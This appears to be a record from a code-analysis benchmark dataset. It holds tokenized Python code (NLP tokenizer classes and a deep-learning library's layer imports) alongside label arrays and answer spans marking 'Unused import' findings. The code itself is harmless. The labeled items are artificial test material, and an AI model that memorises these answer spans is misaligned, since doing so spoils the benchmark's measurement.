"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "restore", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Dict", "ionar", "y", "Tur", "tle_", ",_", "self_", ")_", "._", "\\u\\u", "restore", "\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "dictionary_", "=_", "{_", "p_", "._", "name_", ":_", "p_", "._", "uid_", "for_", "p_", "in_", "self_", "._", "pandas_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dict", "ionar", "y", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generic_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "super_", "(_", "Dict", "ionar", "y", "Tur", "tle_", ",_", "self_", ")_", "._", "generic_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "result_", "[_", "'", "tig", "ress", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "result_", "[_", "'", "dictionar", "y", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dict", "ionar", "y", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clone_", "(_", "self_", ",_", "user", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "super_", "(_", "Dict", "ionar", "y", "Tur", "tle_", ",_", "self_", ")_", "._", "clone_", "(_", "user", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "dictionary_", "=_", "dict_", "(_", "self_", "._", "dictionary_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dict", "ionar", "y", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "process_", "(_", "self_", ",_", "field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dict", "ionar", "y", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "or", "\\u", "new", "\\u", "panda", "_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "name_", "not_", "in_", "self_", "._", "dictionary_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "panda", "_", "=_", "{_", "self_", "._", "MON", "K", "\\u", "TYPE_", ":_", "'", "Exist", "Pan", "da", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "NAME_", ":_", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "CRE", "ATOR", "_", ":_", "self_", "._", "creator_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "panda", "_", "=_", "cra", "ne_", "._", "panda", "Store_", "._", "load", "\\u", "or", "\\u", "create_", "(_", "panda", "_", ",_", "tos", "ave_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "panda", "_", "(_", "panda", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "dictionary_", "[_", "name_", "]_", "=_", "panda", "_", "._", "uid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uid_", "=_", "panda", "_", "._", "uid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "uid_", "=_", "self_", "._", "dictionary_", "[_", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "(_", "uid_", ",_", "1.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dict", "ionar", "y", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "stop_", "(_", "self_", ",_", "w_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "w_", "in_", "stopword", "s", "\\u", "english", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dict", "ionar", "y", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "symbol_", "(_", "self_", ",_", "w_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "w_", "in_", "symbols_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "w_", "._", "find_", "(_", "'.'_", ")_", ">=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dict", "ionar", "y", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "single_", "(_", "self_", ",_", "w_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "w_", ")_", "<=_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dict", "ionar", "y", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "predict_", "(_", "self_", ",_", "entity_", ",_", "fields_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "total_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "field_", "in_", "fields_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "translate_", "(_", "getattr_", "(_", "entity_", ",_", "field_", ",_", "''_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "all", "Tokens_", "=_", "self_", "._", "\\u", "process_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity_", "._", "\\u", "raws", "_", "._", "update_", "(_", "all", "Tokens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity_", "._", "\\u", "features_", "._", "update_", "(_", "[_", "self_", "._", "\\u", "get", "\\u", "or", "\\u", "new", "\\u", "panda", "_", "(_", "t_", ")_", "for_", "t_", "in_", "all", "Tokens_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "total_", "+=_", "len_", "(_", "all", "Tokens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "total_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dict", "ionar", "y", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "merge_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", " ", "shou", "ld", " ", "be", " ", "tak", "ing", " ", "care", " ", "of", " ", "dedup", "s", " ", "in", " ", "model", "s", " ", "and", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Uni", "Gram", "Tur", "tle_", "(_", "Dict", "ionar", "y", "Tur", "tle_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Uni", "Gram", "Tur", "tle_", "(_", "Dict", "ionar", "y", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u", "process_", "(_", "self_", ",_", "field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "all", "Tokens_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sents_", "=_", "nltk_", "._", "tokenize_", "._", "sent", "\\u", "tokenize_", "(_", "field_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "sent_", "in_", "sents_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tokens_", "=_", "nltk_", "._", "tokenize_", "._", "word", "\\u", "tokenize_", "(_", "sent_", "._", "lower_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "Tokens_", "._", "update_", "(_", "(_", "(_", "t_", ",_", "1_", ")_", "for_", "t_", "in_", "tokens_", "if_", "not_", "self_", "._", "is", "\\u", "stop_", "(_", "t_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "not_", "self_", "._", "is", "\\u", "symbol_", "(_", "t_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "not_", "self_", "._", "is", "\\u", "single_", "(_", "t_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "all", "Tokens_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "POST", "ur", "tle_", "(_", "Dict", "ionar", "y", "Tur", "tle_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "POST", "ur", "tle_", "(_", "Dict", "ionar", "y", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u", "process_", "(_", "self_", ",_", "field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "all", "Tokens_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sents_", "=_", "nltk_", "._", "tokenize_", "._", "sent", "\\u", "tokenize_", "(_", "field_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "sent_", "in_", "sents_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tokens_", "=_", "nltk_", "._", "tokenize_", "._", "word", "\\u", "tokenize_", "(_", "sent_", "._", "lower_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tagged_", "=_", "nltk_", "._", "pos", "\\u", "tag_", "(_", "[_", "t_", "for_", "t_", "in_", "tokens_", "if_", "not_", "self_", "._", "is", "\\u", "stop_", "(_", "t_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "not_", "self_", "._", "is", "\\u", "symbol_", "(_", "t_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "not_", "self_", "._", "is", "\\u", "single_", "(_", "t_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "Tokens_", "._", "update_", "(_", "(_", "(_", "'\\u'_", "._", "join_", "(_", "t_", ")_", ",_", "1_", ")_", "for_", "t_", "in_", "tagged_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "all", "Tokens_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Stem", "Tur", "tle_", "(_", "Dict", "ionar", "y", "Tur", "tle_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Stem", "Tur", "tle_", "(_", "Dict", "ionar", "y", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u", "process_", "(_", "self_", ",_", "field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "all", "Tokens_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sents_", "=_", "nltk_", "._", "tokenize_", "._", "sent", "\\u", "tokenize_", "(_", "field_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "debug_", "(_", "sents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "Port", "er", "Stem", "mer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "sent_", "in_", "sents_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tokens_", "=_", "nltk_", "._", "tokenize_", "._", "word", "\\u", "tokenize_", "(_", "sent_", "._", "lower_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stem", "s_", "=_", "[_", "port_", "._", "stem_", "(_", "t_", ")_", "for_", "t_", "in_", "tokens_", "if_", "not_", "self_", "._", "is", "\\u", "stop_", "(_", "t_", ")_", "and_", "not_", "self_", "._", "is", "\\u", "symbol_", "(_", "t_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "Tokens_", "._", "update_", "(_", "(_", "(_", "t_", ",_", "1_", ")_", "for_", "t_", "in_", "stem", "s_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logger_", "._", "debug_", "(_", "'", " ", "'_", "._", "join_", "(_", "all", "Tokens_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "all", "Tokens_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
zomux/deepy/deepy/layers/__init__.py
[ { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom layer import NeuralLayer\nfrom dense import Dense\nfrom softmax import Softmax\nfrom conv import Convolution\nfrom flatten import Flatten\nfrom dimshuffle import DimShuffle\nfrom reshape import Reshape\nfrom reveal_dimension import RevealDimension\nfrom recurrent import RecurrentLayer, RNN\nfrom dropout import Dropout\nfrom activation import Activation\nfrom prelu import PRelu\nfrom irnn import IRNN\nfrom lstm import LSTM\nfrom gru import GRU\nfrom batch_norm import BatchNormalization\nfrom onehot_embed import OneHotEmbedding\nfrom word_embed import WordEmbedding\nfrom chain import Chain\nfrom block import Block\nfrom softmax3d import Softmax3D\nfrom reverse3d import Reverse3D\nfrom concatenate import Concatenate\nfrom maxout import Maxout\nfrom var import NeuralVariable\nfrom combine import Combine\nfrom bias import Bias", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from layer import NeuralLayer", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 29 }, { "span": "from dense import Dense", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 23 }, { "span": "from softmax import Softmax", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 27 }, { "span": "from conv import Convolution", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 28 }, { "span": "from flatten import Flatten", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 27 }, { "span": "from dimshuffle import DimShuffle", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 33 }, { "span": "from reshape import Reshape", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 27 }, { "span": "from reveal_dimension import RevealDimension", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 44 }, { "span": "from recurrent import RecurrentLayer, RNN", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 41 }, { "span": "from dropout import Dropout", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 27 }, { "span": "from activation import Activation", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 33 }, { "span": "from prelu import PRelu", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 23 }, { "span": "from irnn import IRNN", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 21 }, { "span": "from lstm import LSTM", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 21 }, { "span": "from gru import GRU", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 19 }, { "span": "from batch_norm import BatchNormalization", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 41 }, { "span": "from onehot_embed import OneHotEmbedding", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 40 }, { "span": "from word_embed import WordEmbedding", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 36 }, { "span": "from chain import Chain", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 23 }, { "span": "from block import Block", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 23 }, { "span": "from softmax3d import Softmax3D", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 31 }, { "span": "from reverse3d import Reverse3D", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 31 }, { "span": "from concatenate import Concatenate", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 35 }, { "span": "from maxout import Maxout", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 25 }, { "span": "from var import NeuralVariable", "start_line": 27, "start_column": 0, "end_line": 27, "end_column": 30 }, { "span": "from combine import Combine", "start_line": 28, "start_column": 0, "end_line": 28, "end_column": 27 }, { "span": "from bias import Bias", "start_line": 29, "start_column": 0, "end_line": 29, "end_column": 21 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "layer_", "import_", "Neu", "ral", "Layer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "dense_", "import_", "Dense_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "softmax_", "import_", "Softmax", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "conv_", "import_", "Convolution", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "flatten_", "import_", "Flatten_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "dims", "huff", "le_", "import_", "Dim", "Shuffle", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "reshape_", "import_", "Res", "hape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "reveal", "\\u", "dimension_", "import_", "Rev", "eal", "Dimension_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "recurrent", "_", "import_", "Recurren", "t", "Layer_", ",_", "RN", "N_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "dropout_", "import_", "Dropout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "activation_", "import_", "Activation_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "prel", "u_", "import_", "PR", "el", "u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "ir", "nn_", "import_", "IR", "NN_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lstm", "_", "import_", "LSTM", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "gru", "_", "import_", "GRU", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "batch", "\\u", "norm_", "import_", "Bat", "ch", "Normalization_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "one", "hot", "\\u", "embed_", "import_", "One", "Hot", "Embedding", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "word", "\\u", "embed_", "import_", "Word", "Embedding", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "chain_", "import_", "Chain_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "block_", "import_", "Block_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "soft", "max", "3d_", "import_", "Softmax", "3", "D_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "reverse", "3d_", "import_", "Revers", "e3", "D_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "concatenate_", "import_", "Concat", "enat", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "max", "out_", "import_", "Max", "out_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "var_", "import_", "Neu", "ral", "Variable_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "combine_", "import_", "Combine", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bias_", "import_", "Bia", "s_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1 ]
Unused import
neurodata/ndstore/util/deprecated/cshlTest.py
